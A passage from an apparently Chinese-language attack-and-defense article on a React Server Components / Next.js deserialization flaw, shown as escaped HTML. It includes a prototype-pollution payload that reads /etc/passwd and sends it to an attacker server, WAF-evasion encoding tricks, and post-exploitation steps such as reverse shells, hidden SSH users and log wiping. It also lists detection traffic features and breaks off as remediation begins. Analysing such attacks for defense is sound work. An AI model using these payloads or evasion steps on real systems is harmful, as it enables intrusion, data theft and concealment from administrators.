\u8def\u5f842&#xff1a;Flight\u534f\u8bae\u5e95\u5c42\u5229\u7528&#xff08;\u6700\u9690\u853d&#xff0c;\u7ed5\u9632\u62a4&#xff09;<\/h4>\n<p>\u8be5\u8def\u5f84\u76f4\u63a5\u9488\u5bf9React RSC\u7684Flight\u534f\u8bae\u53cd\u5e8f\u5217\u5316\u7f3a\u9677&#xff0c;\u4e0d\u4f9d\u8d56Next.js Server Action\u529f\u80fd&#xff0c;\u9002\u7528\u4e8e\u672a\u542f\u7528Server Action\u3001\u4f46\u542f\u7528RSC\u7684\u5e94\u7528&#xff08;\u5982\u7eafReact RSC\u9879\u76ee\u3001Next.js App Router\u65e0Action\u573a\u666f&#xff09;&#xff0c;\u4e14\u56e0Payload\u683c\u5f0f\u7279\u6b8a&#xff0c;\u53ef\u7ed5\u8fc7\u90e8\u5206\u4ec5\u62e6\u622a\u5e38\u89c4\u5173\u952e\u5b57\u7684WAF\u3002<\/p>\n<ul>\n<li>\n<p>\u653b\u51fb\u5165\u53e3&#xff1a;POST\u8bf7\u6c42\u53d1\u9001\u81f3\/_next\/data\/[buildId]\/[page].json\u7aef\u70b9&#xff08;buildId\u53ef\u901a\u8fc7\u8bbf\u95ee\u76ee\u6807\u9996\u9875\u3001\u67e5\u770bHTML\u6e90\u7801\u4e2d\u7684\/_next\/static\/[buildId]\/\u8def\u5f84\u83b7\u53d6&#xff0c;page\u4e3a\u76ee\u6807\u9875\u9762&#xff0c;\u5982index\u3001about&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>Payload\u6784\u9020\u903b\u8f91&#xff1a;Flight\u534f\u8bae\u7684\u5e8f\u5217\u5316\u683c\u5f0f\u4e3a\u81ea\u5b9a\u4e49\u6570\u7ec4\u7ed3\u6784&#xff0c;\u9996\u5143\u7d20\u4e3a\u7279\u6b8a\u6807\u8bc6&#xff08;\u5982$1\u3001$&#064;&#xff09;&#xff0c;\u540e\u7eed\u5143\u7d20\u4e3a\u7ec4\u4ef6\u6570\u636e&#xff0c;\u653b\u51fb\u8005\u9700\u6784\u9020\u7b26\u5408\u8be5\u683c\u5f0f\u7684Payload&#xff0c;\u6ce8\u5165\u539f\u578b\u94fe\u6c61\u67d3\u5b57\u6bb5&#xff0c;\u793a\u4f8b\u5982\u4e0b&#xff1a;<\/p>\n<\/li>\n<\/ul>\n<p><span class=\"token punctuation\">[<\/span><br \/>\n  <span class=\"token string\">&#034;$1&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token comment\">\/\/ Flight\u534f\u8bae\u6807\u8bc6<\/span><br \/>\n  <span class=\"token punctuation\">{<\/span><span class=\"token string-property property\">&#034;type&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token string\">&#034;$$typeof&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string-property property\">&#034;value&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token string\">&#034;__proto__&#034;<\/span><span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token comment\">\/\/ \u539f\u578b\u94fe\u6307\u9488&#xff0c;\u6c61\u67d3Object.prototype<\/span><br \/>\n  <span class=\"token punctuation\">{<\/span><span class=\"token string-property property\">&#034;type&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token string\">&#034;then&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string-property property\">&#034;value&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token string\">&#034;function(){const fs &#061; require(&#039;fs&#039;);const data &#061; fs.readFileSync(&#039;\/etc\/passwd&#039;, &#039;utf8&#039;);require(&#039;http&#039;).get(&#039;http:\/\/192.168.1.100:8080\/steal?data&#061;&#039;&#043;encodeURIComponent(data));}&#034;<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token comment\">\/\/ \u6076\u610fthen\u65b9\u6cd5&#xff0c;\u7a83\u53d6\u654f\u611f\u6587\u4ef6\u5e76\u53d1\u9001\u81f3\u653b\u51fb\u8005\u670d\u52a1\u5668<\/span><br \/>\n<span class=\"token punctuation\">]<\/span><\/p>\n<p>\u6267\u884c\u903b\u8f91&#xff1a;\u653b\u51fb\u8005\u53d1\u9001Flight\u683c\u5f0fPayload\u2192react-server-dom-webpack\u5305\u5bf9Payload\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u2192\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d&#xff0c;\u901a\u8fc7__proto__\u6c61\u67d3Object.prototype&#xff0c;\u6ce8\u5165\u6076\u610fthen\u65b9\u6cd5\u2192Next.js\/React\u5904\u7406\u7ec4\u4ef6\u6570\u636e\u65f6&#xff0c;\u68c0\u6d4b\u5230\u5bf9\u8c61\u5b58\u5728then\u65b9\u6cd5&#xff0c;\u8bef\u5224\u4e3aPromise\u5e76await\u2192\u89e6\u53d1\u6076\u610f\u4ee3\u7801\u6267\u884c&#xff0c;\u5b9e\u73b0\u654f\u611f\u6587\u4ef6\u7a83\u53d6\u3001\u547d\u4ee4\u6267\u884c\u7b49\u64cd\u4f5c\u3002<\/p>\n<h4>2.2.3 \u8def\u5f843&#xff1a;\u591a\u9636\u6bb5\u7ec4\u5408\u5229\u7528&#xff08;\u8fdb\u9636\u6e17\u900f&#xff0c;\u6df1\u5ea6\u63a7\u5236&#xff09;<\/h4>\n<p>\u8be5\u8def\u5f84\u9002\u7528\u4e8e\u9700\u8981\u83b7\u53d6\u76ee\u6807\u670d\u52a1\u5668\u6301\u4e45\u5316\u63a7\u5236\u3001\u8fdb\u884c\u5185\u7f51\u6a2a\u5411\u6e17\u900f\u7684\u573a\u666f&#xff0c;\u7ed3\u5408\u524d\u4e24\u79cd\u5229\u7528\u8def\u5f84&#xff0c;\u52063\u4e2a\u9636\u6bb5\u9010\u6b65\u63d0\u5347\u6743\u9650\u3001\u6269\u5927\u653b\u51fb\u8303\u56f4&#xff0c;\u662f\u9ad8\u7ea7\u653b\u51fb\u8005\u7684\u5e38\u7528\u624b\u6cd5\u3002<\/p>\n<li>\n<p>\u7b2c\u4e00\u9636\u6bb5&#xff1a;\u521d\u59cb\u7a81\u7834&#xff0c;\u83b7\u53d6Shell&#xff1a;\u901a\u8fc7Server Action\u6216Flight\u534f\u8bae\u5229\u7528\u8def\u5f84&#xff0c;\u53d1\u9001\u53cd\u5f39Shell Payload&#xff0c;\u83b7\u53d6\u76ee\u6807\u670d\u52a1\u5668\u7684\u521d\u59cbShell&#xff08;\u4e00\u822c\u4e3aNode.js\u8fdb\u7a0b\u6743\u9650&#xff09;&#xff0c;\u67e5\u770b\u670d\u52a1\u5668\u57fa\u672c\u4fe1\u606f&#xff08;\u5982\u64cd\u4f5c\u7cfb\u7edf\u3001\u7528\u6237\u6743\u9650\u3001\u5b89\u88c5\u7684\u670d\u52a1\u3001\u5185\u7f51\u7f51\u6bb5&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u7b2c\u4e8c\u9636\u6bb5&#xff1a;\u6743\u9650\u63d0\u5347&#xff0c;\u7a83\u53d6\u654f\u611f\u4fe1\u606f&#xff1a;\u5229\u7528\u521d\u59cbShell&#xff0c;\u8bfb\u53d6\u76ee\u6807\u5e94\u7528\u7684\u654f\u611f\u914d\u7f6e\u6587\u4ef6&#xff08;\u5982next.config.js\u3001.env\u73af\u5883\u53d8\u91cf\u6587\u4ef6\u3001\u6570\u636e\u5e93\u914d\u7f6e\u6587\u4ef6&#xff09;&#xff0c;\u83b7\u53d6\u6570\u636e\u5e93\u8d26\u53f7\u5bc6\u7801\u3001API\u5bc6\u94a5\u3001\u6e90\u7801\u7b49&#xff1b;\u82e5Node.js\u8fdb\u7a0b\u4e3aroot\u6743\u9650&#xff0c;\u76f4\u63a5\u63a5\u7ba1\u670d\u52a1\u5668&#xff1b;\u82e5\u4e3a\u975eroot\u6743\u9650&#xff0c;\u901a\u8fc7SUID\u63d0\u6743\u3001\u5185\u6838\u6f0f\u6d1e\u63d0\u6743\u7b49\u65b9\u5f0f\u63d0\u5347\u6743\u9650\u3002<\/p>\n<\/li>\n<li>\n<p>\u7b2c\u4e09\u9636\u6bb5&#xff1a;\u6301\u4e45\u5316\u63a7\u5236&#xff0c;\u5185\u7f51\u6a2a\u5411&#xff1a;\u5728\u670d\u52a1\u5668\u4e0a\u90e8\u7f72\u6076\u610f\u7a0b\u5e8f&#xff08;\u5982\u6316\u77ff\u7a0b\u5e8f\u3001\u6728\u9a6c\u3001\u50f5\u5c38\u7f51\u7edc\u5ba2\u6237\u7aef&#xff0c;\u5982NutsBot\u3001Mirai&#xff09;&#xff0c;\u4fee\u6539SSH\u914d\u7f6e\u3001\u6dfb\u52a0\u9690\u85cf\u7528\u6237&#xff0c;\u5b9e\u73b0\u6301\u4e45\u5316\u63a7\u5236&#xff1b;\u5229\u7528\u670d\u52a1\u5668\u7684\u5185\u7f51\u6743\u9650&#xff0c;\u626b\u63cf\u540c\u7f51\u6bb5\u5176\u4ed6\u8bbe\u5907&#xff0c;\u5bfb\u627e\u5176\u4ed6\u6f0f\u6d1e&#xff08;\u5982\u5f31\u53e3\u4ee4\u3001\u672a\u4fee\u590d\u7684\u9ad8\u5371\u6f0f\u6d1e&#xff09;&#xff0c;\u8fdb\u884c\u6a2a\u5411\u6e17\u900f&#xff0c;\u6269\u5927\u653b\u51fb\u8303\u56f4\u3002<\/p>\n<\/li>\n<h3>2.3 Payload\u6df1\u5ea6\u89e3\u6790&#xff08;\u89c4\u907f\u8bef\u533a&#xff0c;\u63d0\u9ad8\u6210\u529f\u7387&#xff09;<\/h3>\n<p>\u653b\u51fb\u8005\u5728\u6784\u9020Payload\u65f6&#xff0c;\u9700\u6ce8\u610f3\u4e2a\u5173\u952e\u7ec6\u8282&#xff0c;\u5426\u5219\u4f1a\u5bfc\u81f4\u5229\u7528\u5931\u8d25&#xff08;\u4e5f\u662f\u9632\u5fa1\u4fa7\u53ef\u5229\u7528\u7684\u5f31\u70b9&#xff09;&#xff0c;\u540c\u65f6\u9700\u6839\u636e\u76ee\u6807\u73af\u5883&#xff08;\u5982Windows\/Linux\u670d\u52a1\u5668\u3001Node.js\u7248\u672c&#xff09;\u8c03\u6574Payload&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u7ec6\u82821&#xff1a;__proto__\u5b57\u6bb5\u7684\u683c\u5f0f\u9002\u914d&#xff1a;\u4e0d\u540c\u573a\u666f\u4e0b&#xff0c;__proto__\u7684\u6ce8\u5165\u683c\u5f0f\u4e0d\u540c&#xff0c;Server Action\u573a\u666f\u9700\u4f7f\u7528$1:__proto__:then&#xff08;$1\u4e3a\u53c2\u6570\u6807\u8bc6&#xff0c;\u9700\u4e0e\u76ee\u6807\u8bf7\u6c42\u683c\u5f0f\u5339\u914d&#xff09;&#xff0c;Flight\u534f\u8bae\u573a\u666f\u9700\u4f7f\u7528{&#034;type&#034;: &#034;$$typeof&#034;, &#034;value&#034;: &#034;__proto__&#034;}&#xff0c;\u5426\u5219\u65e0\u6cd5\u6210\u529f\u6c61\u67d3\u539f\u578b\u94fe\u3002<\/p>\n<\/li>\n<li>\n<p>\u7ec6\u82822&#xff1a;\u547d\u4ee4\u6267\u884c\u51fd\u6570\u7684\u9002\u914d&#xff1a;Linux\u670d\u52a1\u5668\u53ef\u4f7f\u7528execSync\u3001spawn\u8c03\u7528bash\u3001sh\u547d\u4ee4&#xff1b;Windows\u670d\u52a1\u5668\u9700\u8c03\u7528cmd.exe&#xff0c;Payload\u9700\u8c03\u6574\u4e3aexecSync(&#039;whoami &amp;&amp; ipconfig&#039;, {shell: &#039;cmd.exe&#039;})&#xff1b;\u90e8\u5206Node.js\u7248\u672c\u4e2d&#xff0c;process.mainModule\u5df2\u88ab\u5e9f\u5f03&#xff0c;\u9700\u66ff\u6362\u4e3arequire(&#039;module&#039;).createRequire(process.cwd())&#xff0c;\u907f\u514dPayload\u5931\u6548\u3002<\/p>\n<\/li>\n<li>\n<p>\u7ec6\u82823&#xff1a;Payload\u7f16\u7801\u4e0e\u6df7\u6dc6&#xff1a;\u4e3a\u7ed5\u8fc7WAF\u62e6\u622a&#xff0c;\u53ef\u5bf9Payload\u4e2d\u7684\u5173\u952e\u5b57&#xff08;\u5982__proto__\u3001then\u3001execSync&#xff09;\u8fdb\u884cBase64\u7f16\u7801\u3001Unicode\u7f16\u7801&#xff0c;\u6216\u4f7f\u7528\u5b57\u7b26\u4e32\u62fc\u63a5\u7684\u65b9\u5f0f\u89c4\u907f\u68c0\u6d4b&#xff0c;\u793a\u4f8b&#xff1a;&#039;__pro&#039;&#043;&#039;to__&#039;\u3001&#039;exe&#039;&#043;&#039;cSync&#039;\u3002<\/p>\n<\/li>\n<\/ul>\n<h3>2.4 \u653b\u51fb\u5de5\u5177\u4e0e\u6d41\u91cf\u7279\u5f81&#xff08;\u9632\u5fa1\u68c0\u6d4b\u7684\u6838\u5fc3\u4f9d\u636e&#xff09;<\/h3>\n<h4>2.4.1 \u5e38\u7528\u653b\u51fb\u5de5\u5177<\/h4>\n<p>\u653b\u51fb\u8005\u53ef\u501f\u52a9\u4ee5\u4e0b\u5de5\u5177&#xff0c;\u5b9e\u73b0\u6279\u91cf\u626b\u63cf\u3001Payload\u6784\u9020\u3001\u6f0f\u6d1e\u5229\u7528&#xff0c;\u964d\u4f4e\u653b\u51fb\u96be\u5ea6&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u57fa\u7840\u5de5\u5177&#xff1a;Burp Suite&#xff08;\u6784\u9020Payload\u3001\u62e6\u622a\u4fee\u6539\u8bf7\u6c42\u3001\u6d4b\u8bd5\u7ed5\u8fc7WAF&#xff09;\u3001Nmap&#xff08;\u7aef\u53e3\/\u76ee\u5f55\u626b\u63cf&#xff09;\u3001Netcat&#xff08;\u76d1\u542c\u53cd\u5f39Shell&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u4e13\u7528\u5de5\u5177&#xff1a;React2Shell-Exploit&#xff08;GitHub\u5f00\u6e90&#xff0c;\u81ea\u5b9a\u4e49Python\u811a\u672c&#xff0c;\u652f\u6301\u6279\u91cf\u626b\u63cf\u3001\u81ea\u52a8\u83b7\u53d6buildId\u3001\u751f\u6210\u9002\u914dPayload&#xff09;\u3001Metasploit&#xff08;\u5df2\u66f4\u65b0\u5bf9\u5e94\u5229\u7528\u6a21\u5757&#xff0c;\u6a21\u5757\u540d&#xff1a;exploit\/multi\/http\/react2shell_rce&#xff0c;\u652f\u6301\u4e00\u952e\u5229\u7528\u3001\u53cd\u5f39Meterpreter Shell&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u8fdb\u9636\u5de5\u5177&#xff1a;CS&#xff08;Cobalt Strike&#xff0c;\u7528\u4e8e\u540e\u6e17\u900f\u6d4b\u8bd5\u3001\u5185\u7f51\u6a2a\u5411\u6e17\u900f&#xff09;\u3001Empire&#xff08;PowerShell\u5e1d\u56fd&#xff0c;\u9002\u7528\u4e8eWindows\u670d\u52a1\u5668\u540e\u6e17\u900f&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<h4>2.4.2 \u6838\u5fc3\u6d41\u91cf\u7279\u5f81&#xff08;\u9632\u5fa1\u4fa7\u68c0\u6d4b\u91cd\u70b9&#xff09;<\/h4>\n<p>\u653b\u51fb\u6d41\u91cf\u5177\u6709\u660e\u663e\u7684\u7279\u5f81&#xff0c;\u53ef\u4f5c\u4e3aWAF\u3001IDS\/IPS\u68c0\u6d4b\u7684\u6838\u5fc3\u4f9d\u636e&#xff0c;\u4e3b\u8981\u5206\u4e3a4\u7c7b&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u8def\u5f84\u7279\u5f81&#xff1a;POST\u8bf7\u6c42\u8bbf\u95ee\/_next\/data\/\u3001\/api\/\u3001\/action\/\u7b49RSC\u76f8\u5173\u7aef\u70b9&#xff0c;\u5c24\u5176\u662f\/_next\/data\/[buildId]\/[page].json\u8def\u5f84\u3002<\/p>\n<\/li>\n<li>\n<p>\u8bf7\u6c42\u5934\u7279\u5f81&#xff1a;\u643a\u5e26Next-Action\u8bf7\u6c42\u5934&#xff08;Server Action\u5229\u7528\u573a\u666f&#xff09;&#xff0c;Content-Type\u4e3aapplication\/json\u6216application\/x-www-form-urlencoded&#xff08;\u90e8\u5206\u573a\u666f&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>Payload\u5173\u952e\u5b57\u7279\u5f81&#xff1a;\u5305\u542b__proto__\u3001then\u3001constructor\u3001execSync\u3001spawn\u3001child_process\u3001require\u7b49\u6076\u610f\u5173\u952e\u5b57&#xff1b;Flight\u534f\u8baePayload\u4ee5$1\u3001$&#064;\u3001$B\u7b49\u7279\u6b8a\u524d\u7f00\u5f00\u5934\u3002<\/p>\n<\/li>\n<li>\n<p>\u54cd\u5e94\u7279\u5f81&#xff1a;\u547d\u4ee4\u6267\u884c\u6210\u529f\u540e&#xff0c;\u54cd\u5e94\u5185\u5bb9\u4f1a\u5305\u542b\u670d\u52a1\u5668\u4fe1\u606f&#xff08;\u5982uid&#061;1000(nodejs)\u3001Linux localhost 5.4.0&#xff09;\u3001\u654f\u611f\u6587\u4ef6\u5185\u5bb9&#xff08;\u5982\/etc\/passwd\u5185\u5bb9&#xff09;&#xff0c;\u6216\u54cd\u5e94\u72b6\u6001\u7801\u4e3a200&#xff08;\u5373\u4f7f\u6267\u884c\u6076\u610f\u64cd\u4f5c&#xff0c;Next.js\u4e5f\u53ef\u80fd\u8fd4\u56de\u6b63\u5e38\u72b6\u6001\u7801&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<h3>2.5 \u5e38\u89c1\u7ed5\u8fc7\u6280\u5de7&#xff08;\u653b\u51fb\u8005\u89c4\u907f\u9632\u5fa1\u7684\u624b\u6bb5&#xff09;<\/h3>\n<p>\u9762\u5bf9\u76ee\u6807\u7684\u57fa\u7840\u9632\u62a4&#xff08;\u5982\u7b80\u5355WAF\u3001\u5173\u952e\u5b57\u8fc7\u6ee4&#xff09;&#xff0c;\u653b\u51fb\u8005\u4f1a\u91c7\u7528\u4ee5\u4e0b\u7ed5\u8fc7\u6280\u5de7&#xff0c;\u63d0\u5347\u653b\u51fb\u6210\u529f\u7387&#xff0c;\u4e5f\u662f\u9632\u5fa1\u4fa7\u9700\u8981\u91cd\u70b9\u5173\u6ce8\u7684\u70b9&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u5173\u952e\u5b57\u6df7\u6dc6\u4e0e\u7f16\u7801&#xff1a;\u5982\u524d\u6240\u8ff0&#xff0c;\u901a\u8fc7Base64\u7f16\u7801\u3001Unicode\u7f16\u7801\u3001\u5b57\u7b26\u4e32\u62fc\u63a5&#xff0c;\u89c4\u907fWAF\u7684\u5173\u952e\u5b57\u62e6\u622a&#xff0c;\u793a\u4f8b&#xff1a;&#034;__proto__&#034;\u7f16\u7801\u4e3a&#034;\\\\u005f\\\\u005f\\\\u0070\\\\u0072\\\\u006f\\\\u0074\\\\u006f\\\\u005f\\\\u005f&#034;&#xff0c;&#034;execSync&#034;\u62fc\u63a5\u4e3a&#034;exe&#034;&#043;&#034;cSync&#034;\u3002<\/p>\n<\/li>\n<li>\n<p>Payload\u683c\u5f0f\u53d8\u5f62&#xff1a;\u8c03\u6574Payload\u7684\u7ed3\u6784&#xff0c;\u5982\u5728__proto__\u524d\u540e\u6dfb\u52a0\u7a7a\u683c\u3001\u6362\u884c\u7b26&#xff0c;\u6216\u4fee\u6539\u5b57\u6bb5\u987a\u5e8f&#xff08;Flight\u534f\u8bae\u573a\u666f&#xff09;&#xff0c;\u907f\u514d\u88abWAF\u89c4\u5219\u5339\u914d&#xff1b;Server Action\u573a\u666f\u4e2d&#xff0c;\u4fee\u6539$1\u4e3a\u5176\u4ed6\u53c2\u6570\u6807\u8bc6&#xff08;\u5982$2\u3001$a&#xff09;&#xff0c;\u9002\u914d\u76ee\u6807\u7684\u8bf7\u6c42\u683c\u5f0f\u3002<\/p>\n<\/li>\n<li>\n<p>\u5206\u9636\u6bb5\u6ce8\u5165&#xff1a;\u5148\u53d1\u9001\u65e0\u6076\u610f\u7684\u6b63\u5e38\u8bf7\u6c42&#xff0c;\u83b7\u53d6\u76ee\u6807\u7684\u54cd\u5e94\u683c\u5f0f\u3001\u53c2\u6570\u6807\u8bc6&#xff0c;\u518d\u9010\u6b65\u6ce8\u5165\u6076\u610f\u5b57\u6bb5&#xff0c;\u907f\u514d\u4e00\u6b21\u6027\u53d1\u9001\u542b\u654f\u611f\u5173\u952e\u5b57\u7684Payload&#xff0c;\u88abWAF\u62e6\u622a\u3002<\/p>\n<\/li>\n<li>\n<p>\u5229\u7528\u8fb9\u7f18\u573a\u666f\u7ed5\u8fc7&#xff1a;\u9488\u5bf9WAF\u7684\u89c4\u5219\u6f0f\u6d1e&#xff0c;\u5229\u7528\u4e0d\u5e38\u89c1\u7684\u653b\u51fb\u8def\u5f84&#xff08;\u5982\u672a\u88ab\u76d1\u63a7\u7684\u5c0f\u4f17Server Action\u7aef\u70b9&#xff09;&#xff0c;\u6216\u4f7f\u7528\u4e0d\u5e38\u89c1\u7684\u547d\u4ee4\u6267\u884c\u51fd\u6570&#xff08;\u5982execFile\u66ff\u4ee3execSync&#xff09;&#xff0c;\u89c4\u907f\u62e6\u622a\u3002<\/p>\n<\/li>\n<\/ul>\n<h3>2.6 \u5b9e\u6218\u573a\u666f\u590d\u76d8&#xff08;\u8fd8\u539f\u771f\u5b9e\u653b\u51fb\u6848\u4f8b&#xff09;<\/h3>\n<p>\u4ee5\u4e0b\u7ed3\u5408\u771f\u5b9e\u653b\u51fb\u6848\u4f8b&#xff0c;\u8fd8\u539f\u653b\u51fb\u8005\u5229\u7528\u4e24\u5927\u6f0f\u6d1e\u7684\u5b8c\u6574\u6d41\u7a0b&#xff0c;\u5e2e\u52a9\u653b\u9632\u53cc\u65b9\u66f4\u76f4\u89c2\u5730\u7406\u89e3\u6f0f\u6d1e\u5371\u5bb3\u4e0e\u5229\u7528\u903b\u8f91&#xff1a;<\/p>\n<p>\u6848\u4f8b\u80cc\u666f&#xff1a;\u67d0\u7535\u5546\u5e73\u53f0\u91c7\u7528Next.js 15.5.5\u7248\u672c&#xff08;App Router\u6a21\u5f0f&#xff09;&#xff0c;React\u7248\u672c19.2.2&#xff0c;\u542f\u7528Server Action\u5904\u7406\u7528\u6237\u4e0b\u5355\u3001\u767b\u5f55\u64cd\u4f5c&#xff0c;\u516c\u7f51\u5f00\u653e\/api\/action\/\u7aef\u70b9&#xff0c;\u672a\u542f\u7528WAF&#xff0c;\u4ec5\u505a\u4e86\u7b80\u5355\u7684\u53c2\u6570\u6821\u9a8c\u3002<\/p>\n<p>\u653b\u51fb\u6d41\u7a0b&#xff1a;<\/p>\n<li>\n<p>\u63a2\u6d4b\u9636\u6bb5&#xff1a;\u653b\u51fb\u8005\u901a\u8fc7\u76ee\u5f55\u626b\u63cf&#xff0c;\u53d1\u73b0\u76ee\u6807\/api\/action\/submit\u7aef\u70b9&#xff0c;\u643a\u5e26Next-Action\u8bf7\u6c42\u5934&#xff0c;\u5224\u65ad\u4e3aServer Action\u7aef\u70b9&#xff1b;\u901a\u8fc7\u54cd\u5e94\u5934\u5224\u65adNext.js\u7248\u672c\u4e3a15.5.5&#xff0c;React\u7248\u672c\u4e3a19.2.2&#xff0c;\u786e\u8ba4\u5728\u6f0f\u6d1e\u8303\u56f4\u5185\u3002<\/p>\n<\/li>\n<li>\n<p>\u5229\u7528\u9636\u6bb5&#xff1a;\u6784\u9020\u53cd\u5f39Shell Payload&#xff08;\u9002\u914dLinux\u670d\u52a1\u5668&#xff09;&#xff0c;\u901a\u8fc7Burp Suite\u53d1\u9001POST\u8bf7\u6c42\u81f3\/api\/action\/submit&#xff0c;\u6210\u529f\u53cd\u5f39Shell\u81f3\u653b\u51fb\u8005\u670d\u52a1\u5668&#xff0c;\u83b7\u53d6Node.js\u8fdb\u7a0b\u6743\u9650&#xff08;\u975eroot&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u63d0\u6743\u4e0e\u7a83\u53d6\u9636\u6bb5&#xff1a;\u901a\u8fc7Shell\u8bfb\u53d6\/var\/www\/html\/.env\u6587\u4ef6&#xff0c;\u83b7\u53d6\u6570\u636e\u5e93\u8d26\u53f7\u5bc6\u7801&#xff08;MySQL&#xff09;&#xff1b;\u5229\u7528\u6570\u636e\u5e93\u6743\u9650&#xff0c;\u8bfb\u53d6\u7528\u6237\u4fe1\u606f&#xff08;\u624b\u673a\u53f7\u3001\u5bc6\u7801\u54c8\u5e0c&#xff09;\u3001\u8ba2\u5355\u6570\u636e&#xff1b;\u901a\u8fc7SUID\u63d0\u6743&#xff0c;\u83b7\u53d6root\u6743\u9650\u3002<\/p>\n<\/li>\n<li>\n<p>\u6301\u4e45\u5316\u4e0e\u6a2a\u5411\u9636\u6bb5&#xff1a;\u5728\u670d\u52a1\u5668\u4e0a\u90e8\u7f72\u6316\u77ff\u7a0b\u5e8f&#xff0c;\u6dfb\u52a0\u9690\u85cfSSH\u7528\u6237&#xff1b;\u626b\u63cf\u5185\u7f51\u7f51\u6bb5&#xff08;192.168.0.0\/24&#xff09;&#xff0c;\u53d1\u73b0\u540c\u7f51\u6bb5\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u3001\u540e\u53f0\u7ba1\u7406\u670d\u52a1\u5668&#xff0c;\u5229\u7528\u5f31\u53e3\u4ee4\u767b\u5f55&#xff0c;\u6269\u5927\u653b\u51fb\u8303\u56f4\u3002<\/p>\n<\/li>\n<li>\n<p>\u9690\u853d\u9636\u6bb5&#xff1a;\u6e05\u7406\u653b\u51fb\u65e5\u5fd7&#xff08;\/var\/log\/nginx\/access.log\u3001\/var\/log\/syslog&#xff09;&#xff0c;\u4fee\u6539Shell\u6743\u9650&#xff0c;\u907f\u514d\u88ab\u7ba1\u7406\u5458\u53d1\u73b0\u3002<\/p>\n<\/li>\n<p>\u6848\u4f8b\u542f\u793a&#xff1a;\u8be5\u6848\u4f8b\u5145\u5206\u4f53\u73b0\u4e86\u4e24\u5927\u6f0f\u6d1e\u7684\u9ad8\u5371\u5bb3\u6027&#xff0c;\u4ec5\u9700\u7b80\u5355Payload\u5373\u53ef\u5b9e\u73b0\u65e0\u8ba4\u8bc1\u7a81\u7834&#xff0c;\u4e14\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u540e\u6e17\u900f\u624b\u6bb5\u6269\u5927\u5371\u5bb3&#xff1b;\u540c\u65f6\u4e5f\u66b4\u9732\u4e86\u4f01\u4e1a\u9632\u62a4\u7684\u8584\u5f31\u70b9\u2014\u2014\u672a\u53ca\u65f6\u5347\u7ea7\u7248\u672c\u3001\u7f3a\u4e4f\u6709\u6548WAF\u9632\u62a4\u3001\u6743\u9650\u7ba1\u7406\u677e\u6563\u3002<\/p>\n<h2>\u4e09\u3001\u9632\u5fa1\u4fa7&#xff1a;\u4f53\u7cfb\u5316\u9632\u62a4\u4e0e\u5e94\u6025\u54cd\u5e94&#xff08;\u5b89\u5168\u8fd0\u8425\u89c6\u89d2&#xff09;<\/h2>\n<p>\u9488\u5bf9React2Shell\u4e0eNext.js\u6f0f\u6d1e&#xff0c;\u9632\u5fa1\u4fa7\u9700\u6452\u5f03\u201c\u5355\u4e00\u4fee\u590d\u201d\u7684\u601d\u8def&#xff0c;\u6784\u5efa\u201c\u7248\u672c\u6839\u6cbb&#043;\u914d\u7f6e\u52a0\u56fa&#043;\u6d41\u91cf\u62e6\u622a&#043;\u68c0\u6d4b\u54cd\u5e94&#043;\u4eba\u5458\u80fd\u529b\u201d\u7684\u591a\u5c42\u9632\u5fa1\u4f53\u7cfb&#xff0c;\u65e2\u8981\u963b\u65ad\u5f53\u524d\u6f0f\u6d1e\u7684\u5229\u7528&#xff0c;\u4e5f\u8981\u9632\u8303\u672a\u6765\u7c7b\u4f3c\u6f0f\u6d1e\u7684\u653b\u51fb&#xff0c;\u5b9e\u73b0\u201c\u88ab\u52a8\u9632\u5fa1\u2192\u4e3b\u52a8\u9632\u62a4\u2192\u524d\u77bb\u9632\u62a4\u201d\u7684\u5347\u7ea7\u3002\u4ee5\u4e0b\u4ece\u201c\u7d27\u6025\u4fee\u590d\u2192\u4e34\u65f6\u7f13\u89e3\u2192\u6df1\u5ea6\u52a0\u56fa\u2192\u68c0\u6d4b\u54cd\u5e94\u2192\u5e94\u6025\u5904\u7f6e\u201d\u4e94\u4e2a\u7ef4\u5ea6&#xff0c;\u63d0\u4f9b\u53ef\u843d\u5730\u7684\u9632\u62a4\u65b9\u6848\u3002<\/p>\n<h3>3.1 \u6700\u9ad8\u4f18\u5148\u7ea7&#xff1a;\u7248\u672c\u5347\u7ea7&#xff08;\u6839\u6cbb\u6f0f\u6d1e\u7684\u552f\u4e00\u65b9\u6848&#xff09;<\/h3>\n<p>\u6f0f\u6d1e\u7684\u672c\u8d28\u662fReact\u4e0eNext.js\u7684\u4ee3\u7801\u7f3a\u9677&#xff0c;\u4ec5\u901a\u8fc7\u7248\u672c\u5347\u7ea7&#xff0c;\u5373\u53ef\u5f7b\u5e95\u4fee\u590d\u53cd\u5e8f\u5217\u5316\u7f3a\u9677\u3001\u539f\u578b\u94fe\u6c61\u67d3\u6f0f\u6d1e&#xff0c;\u662f\u9632\u5fa1\u4fa7\u7684\u6838\u5fc3\u624b\u6bb5&#xff0c;\u9700\u7acb\u5373\u6267\u884c\u3002<\/p>\n<h4>3.1.1 Next.js\u9879\u76ee\u4fee\u590d&#xff08;\u91cd\u70b9\u573a\u666f&#xff09;<\/h4>\n<ul>\n<li>\n<p>\u5347\u7ea7\u7248\u672c&#xff1a;\u7acb\u5373\u5347\u7ea7\u81f3Next.js 